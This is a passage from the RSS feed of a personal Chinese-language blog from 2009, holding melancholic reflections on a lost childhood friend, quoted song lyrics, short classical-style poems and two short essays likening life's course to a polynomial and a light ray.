明明知道的事情，那些注定了的结局，我明白，那不会是一场 明亮的 辉煌，是失败，没错，但至少可以证明，勇敢 的存在，疼痛，又怎么样呢，不过是一些本来就易碎的梦想，在被精心保护了多年后，微不足道的 死亡。
她在我13岁那年就死了，而我却什么也做不了。
本来我已经快要遗忘她，而你却又让我想起了她。
你长得很像她，特别是嘴唇。
就像Vae的歌：
如果当时 为什么 你当时对我好 又为什么 现在变得冷淡了 我知道 爱要走难阻挠 反正不是我的 我也不该要 你和我 曾经有共同爱好 谁的耳边 总有绝句在萦绕 我们俩 用文言文对话真的很搞笑 还笑那曹操贪慕着小乔 天灰了 雨坠了 视线要模糊了 此时感觉到你的重要 爱走了 心走了 你说你要走了 我为你唱最后的古谣 红雨瓢泼泛起了回忆怎么潜 你美目如当年 流转我心间 渡口边最后一面洒下了句点 与你若只如初见 何须感伤离别 &amp;hellip;&amp;hellip; 多余的解释 那阵子我们的感情出了一些问题 可是我也不太清楚问题出在哪里 你面无表情的话语不剩多少意义 就当我求求你 给我一些说明 ok 我猜你只是暂时的压抑心情 不再去追问你 多给你一些关心 打电话请你去看最新的电影 你说工作很忙要加班到夜里 ooook 入冬了想给你买一条围巾 怕眼光不行所以叫着紧跟潮流的妹妹和我一起 和妹妹说说笑笑 缓释最近糟糕心绪 在下一个转角却和你相遇 她只是我的妹妹 妹妹说紫色很有韵味 她只是我的妹妹 我在担心你是否误会 她只是我的妹妹 对这个解释你无所谓 我没有思想准备 看到你身旁还有一位 不知道他是谁 紫色的围巾 交到你手里 你放进包里 说句谢谢你 要加班的你 却出现在这里 故事的结局不需要任何说明 坏孩子 绝世的画 缺了角就会掉价 悄悄话说得太沙哑 气氛就会尴尬 你突然说想看大雪 现在却偏偏是夏天 你从来不爱打雨伞 喜欢我的白色衬衫 你当时说你很爱我 我偷偷以为是骗我 等到我相信了全部 你又说你爱上他 你这坏孩子 不要不说话 没有眼泪要擦 就别揉眼了 你这坏孩子 没人怪你啊 爱本是自由的 我该承受这变化 绝世的画 缺了角就会掉价 悄悄话说得太沙哑 气氛就会尴尬 你突然说想看大雪 现在却偏偏是夏天 你从来不爱打雨伞 喜欢我的白色衬衫 你当时说你很爱我 我偷偷以为是骗我 等到我相信了全部 你又说你爱上他 你这坏孩子 不要不说话 没有眼泪要擦 就别揉眼了 你这坏孩子 没人怪你啊 爱本是自由的 我该承受这变化 你这坏孩子 不要不说话 没有眼泪要擦 就别揉眼了 你这坏孩子 没人怪你啊 爱本是自由的 我该承受这变化</description></item><item><title>人的一生，时起时落，但是，确实美好的。</title><link>https://changkun.de/blog/posts/%E4%BA%BA%E7%9A%84%E4%B8%80%E7%94%9F%E6%97%B6%E8%B5%B7%E6%97%B6%E8%90%BD%E4%BD%86%E6%98%AF%E7%A1%AE%E5%AE%9E%E7%BE%8E%E5%A5%BD%E7%9A%84/</link><pubDate>Fri, 08 May 2009 13:41:41 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BA%BA%E7%9A%84%E4%B8%80%E7%94%9F%E6%97%B6%E8%B5%B7%E6%97%B6%E8%90%BD%E4%BD%86%E6%98%AF%E7%A1%AE%E5%AE%9E%E7%BE%8E%E5%A5%BD%E7%9A%84/</guid><description>one 一种记忆，可以让人感慨万千。
努力去回忆她，可以让人迷醉。
她和我一样，可惜在我 13 岁那年……
而今，我只能回忆她。
two 心常常很痛很痛
我一直以为我自信而坚强
我一直以为我聪明而细心
这个世界似乎从来都不属于我
就算偶尔有一丝阳光肯落在我的发稍，也像是冷冷的斜视
虽然有很多人和我在一起，可还是会感觉很孤独，就像那年的庙会，和朋友们走散，熙熙攘攘的人群，每个人的脸上都挂满了雪和笑，我知道那与我无关，我连朋友们的背影都看不到
他们说 到了春天 四中会变得很美丽，
有很多次我噙着泪仰望灰色的天空
我觉得自己没有足够的信心等到春天……
太阳总会照在每个人的身上，对我却从不是这样
three &amp;hellip;&amp;hellip;&amp;hellip;..</description></item><item><title>那些花儿，盛开了，散落了</title><link>https://changkun.de/blog/posts/%E9%82%A3%E4%BA%9B%E8%8A%B1%E5%84%BF%E7%9B%9B%E5%BC%80%E4%BA%86%E6%95%A3%E8%90%BD%E4%BA%86/</link><pubDate>Thu, 07 May 2009 06:54:54 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%82%A3%E4%BA%9B%E8%8A%B1%E5%84%BF%E7%9B%9B%E5%BC%80%E4%BA%86%E6%95%A3%E8%90%BD%E4%BA%86/</guid><description>风，吹起破碎的流年，我看见远方的寂寞，泪流满面。
我常常在思索我们的青春，它真是一个奇形怪状的玩艺儿，短短的身子偏偏拖了一个长长的尾巴，像翅膀一样的招摇着，久久不肯离去。人生就是这样的吧，结束，开始，再开始，再结束……不论如何，我们都将背负着各自的灾难和幸福，往前走，不回头。
有些事，有些人，是不是如果你真的想忘记，就一定会忘记。
最痛苦的是，消失了的东西，它就永远的不见了，永远都不会再回来，却偏还要留下一根细而尖的针，一直插在你心头，一直拔不去，它想让你疼，你就得疼，
我们都要面向太阳，骄傲的活着!
你的心里有一面墙,推开就能看见天堂.
爱是一场战争,我不怕受伤只怕你不快乐.
爱情就是这样，有些人慢慢遗落在岁月的风尘里，哭过，笑过，吵过，闹过，再恋恋不舍也都只是曾经。
我们都是单翅膀的天使,只有拥抱着才能飞翔.
爱情像糖衣,我囫囵吞下,享受瞬间的甜蜜
最疼的疼是原谅 最黑的黑是背叛
我有没有跟你说过爱是我不变的信仰, 我有没有告诉过你爱就是永远把一个人放在心上
我们生活在同一个温暖的水域，也许偶尔会被水草缠绕，但因为彼此温暖的呼吸，相信都不会是死结。如果我说我爱你，我一直爱你，不知道你会不会相信？
其实，人字的结构就是相互的支撑，只要你愿意，谁都可以给谁幸福！
记住该记住的，忘记该忘记的，改变能改变的，接受不能改变的。 其实，一个人的改变真的很容易，但有些事有些感觉，却是无论如何也改变不了的。</description></item><item><title>Untitled</title><link>https://changkun.de/blog/posts/%E6%97%A0%E9%A2%98/</link><pubDate>Wed, 06 May 2009 12:14:51 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%97%A0%E9%A2%98/</guid><description>I choose to believe that every small burst of fireworks that lit up the night sky never truly died — they rose and became the stars of tonight. Only the people who set them off have long since scattered into the vast sea of strangers, with no knowing where they went.
我愿意相信点亮夜空的每一抹小小的烟花都未曾熄灭，它们最终升上天空，化做今夜的星辰。只是那些放烟花的人，早已散落于茫茫人海，不知去向何方。</description></item><item><title>Untitled</title><link>https://changkun.de/blog/posts/%E6%97%A0%E9%A2%98/</link><pubDate>Tue, 05 May 2009 08:04:51 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%97%A0%E9%A2%98/</guid><description>I ran wildly through the dense, hurrying crowd, desperate to find a face like mine — someone who shared my fate. In her I might see a reflection of my own life, a bearing to follow, so I wouldn&amp;rsquo;t feel so lost about where to go.
我一路狂奔，渴望在拥挤匆忙的人群里找到一个和我相似的面孔，她有和我相似的命运．我可以在她的身上看到自己生命的参照，何去何从，不再那么仓皇。</description></item><item><title>独唱情歌</title><link>https://changkun.de/blog/posts/%E7%8B%AC%E5%94%B1%E6%83%85%E6%AD%8C/</link><pubDate>Sun, 26 Apr 2009 14:55:27 +0000</pubDate><guid>https://changkun.de/blog/posts/%E7%8B%AC%E5%94%B1%E6%83%85%E6%AD%8C/</guid><description>一阵风 一首歌 摇晃思念 只恨年少爱逞强 为小事轻言离别 在春天 过冬天 张眼睛冬眠 一颗心 一种病 不停落叶 旧情怎么那么长 打了绕了几千结 有没有一把剑 可以真斩了藕断丝连 有没有一条线 能缝 扯散了缘 独唱情歌 最苦涩 逃不了的折磨 当生死相许说出口 别后悬念依旧 独唱情歌 最苦涩 管不住的离愁 赶下眉头又上心头 我好想再暖和 你手 下弦月 星满天 像谁泪涟涟 她微笑 她捧花 都看不见 我只听着你从前 用眼神讲的誓言 在春天 过冬天 张眼睛冬眠 看倔强 带幸福 越走越远 有时不愿让一点 最后却失去一切 有没有一把剑 可以真斩了藕断丝连 有没有一条线 能缝 扯散了缘 独唱情歌 最苦涩 逃不了的折磨 当生死相许说出口 别后悬念依旧 独唱情歌 最苦涩 管不住的离愁 赶下眉头又上心头 我好想再暖和 你手 我站在 柳絮扎眼 寂寞胡同 谁在弄堂忽然沉默 泪流 独唱情歌 最苦涩 逃不了的折磨 当生死相许说出口 别后悬念依旧 独唱情歌 最苦涩 管不住的离愁 赶下眉头又上心头 我好想再暖和 你手</description></item><item><title>无愁</title><link>https://changkun.de/blog/posts/%E6%97%A0%E6%84%81/</link><pubDate>Sat, 25 Apr 2009 14:05:27 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%97%A0%E6%84%81/</guid><description>无愁 千情万事总有愁 何必昼夜锁眉头 小河曲折欢歌舞 海阔天空逍遥游</description></item><item><title>暖春</title><link>https://changkun.de/blog/posts/%E6%9A%96%E6%98%A5/</link><pubDate>Sat, 25 Apr 2009 14:03:56 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%9A%96%E6%98%A5/</guid><description>暖春 风声耳边话 雨滴发梢挂 风雨冷人间 冰烛有红蜡</description></item><item><title>无题</title><link>https://changkun.de/blog/posts/%E6%97%A0%E9%A2%98/</link><pubDate>Sat, 25 Apr 2009 14:02:34 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%97%A0%E9%A2%98/</guid><description>无题 欲借寒风擦净汗 却拿美酒将它散 美酒不敌冷月夜 心头寒气口中叹</description></item><item><title>思念</title><link>https://changkun.de/blog/posts/%E6%80%9D%E5%BF%B5/</link><pubDate>Sat, 25 Apr 2009 14:02:14 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%80%9D%E5%BF%B5/</guid><description>思念 思念复思念 痛触心理面 忍泪与君别 来年再相见</description></item><item><title>冷月</title><link>https://changkun.de/blog/posts/%E5%86%B7%E6%9C%88/</link><pubDate>Sat, 25 Apr 2009 14:01:05 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%86%B7%E6%9C%88/</guid><description>冷月 仰头望夜空 明月当其中 波中千万月 湖面起寒风</description></item><item><title>春醒</title><link>https://changkun.de/blog/posts/%E6%98%A5%E9%86%92/</link><pubDate>Sat, 25 Apr 2009 14:01:01 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%98%A5%E9%86%92/</guid><description>春醒 未沾半滴酒 今朝似斜柳 冬雪融化时 绿意枝头有</description></item><item><title>人生轨迹II</title><link>https://changkun.de/blog/posts/%E4%BA%BA%E7%94%9F%E8%BD%A8%E8%BF%B9ii/</link><pubDate>Sat, 25 Apr 2009 13:59:59 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BA%BA%E7%94%9F%E8%BD%A8%E8%BF%B9ii/</guid><description>我们人生是否能够取得成功虽然是由很多的因素所决定的，但是我认为其中最重要的是一个人的态度。态度决定一切，我觉得这句话非常正确。 其实人的轨迹就如 $Y=a_{1}X^{n}+a_{2}X^{n-1}+a_{3}X^{n-2}+a_{4}X^{n-3}+&amp;hellip;+a_{n}X+C $ 的轨迹，$a_1$ 是一个人的态度， 从 $a_2$ 到 $a_n$则是一个人的智力，知识，能力等等诸多方面。C 表示一个人的起点，一个人由于出生不同起点也会不同。
一个人无论你出生多么好，就是说 C 很大，你的智力，知识等多么多么大，也就是 $a_2$ 到 $a_n$ 是多么多么大，只要 $a_1$ 为负数，你马上会低到 X 轴下面去，也就是一无所有或者负债累累。 反之，其他的条件你不是很好，或者很糟糕。但你的态度很好，也就是 $a_1$ 为正数，你的人生轨迹经过一段曲折后马上就会马上飞到X轴上方，并且快速增长。你的态度越端正，越积极，你取得成功的速度就会越快。 还犹豫什么呢？马上让你的 $a_1$ 变为正数吧，越大越好！</description></item><item><title>人生轨迹</title><link>https://changkun.de/blog/posts/%E4%BA%BA%E7%94%9F%E8%BD%A8%E8%BF%B9/</link><pubDate>Sat, 25 Apr 2009 13:58:48 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BA%BA%E7%94%9F%E8%BD%A8%E8%BF%B9/</guid><description>人生之轨迹其实就像一条射线。当我们降临到了这个世上之时就开始成为了我们的出发点。我们每个人都在为我们的目的奔波， 当然两点之间直线最短。如果我们很清楚自己要走的路线，并且能坚定的走下去应该是能尽快的到达我们的目的地取得成功的。 但是世上又有几个人能够像直线一样一直走下去呢？
一路上会有许许多多阻挡我们前进或者是反对我们的人，他们就像是反光镜子一样，而我们的路线有时也就是光一样， 常常会被这些反光镜给改变方向。当然他们有时会让我们感受到路上其他美丽的“风景”，但最多的时候会让我们偏离了自己的方向，甚至是又回到了原点。
其实我们也像黑屋子里面的光线一样，成功的通道口是很小很小的，我们要想成功就必须使自己这束光从这个口子穿越出去。 当我们被这些反光镜弄得迷失自我的时候，此时我们只有更坚强，更自信，要使得头脑保持清醒，勇敢的坚持下去。我相信我们离成功应该不远了。 愿我们大家都能逾越这些反光镜，穿越通向成功的路口！</description></item><item><title>释怀</title><link>https://changkun.de/blog/posts/%E9%87%8A%E6%80%80/</link><pubDate>Sat, 25 Apr 2009 13:56:56 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%87%8A%E6%80%80/</guid><description>世界上最难以释怀的，不是去跨越布满荆棘的泥泞，不是去克服时间空间的阴影，更不是生死所带来的考验，而是每个人心中那道自掘的却又无法跨越的沟渠。 或许只有在离得最远的时候，才能把曾经走过的那段日子，看的最真切，最清楚。</description></item></channel></rss>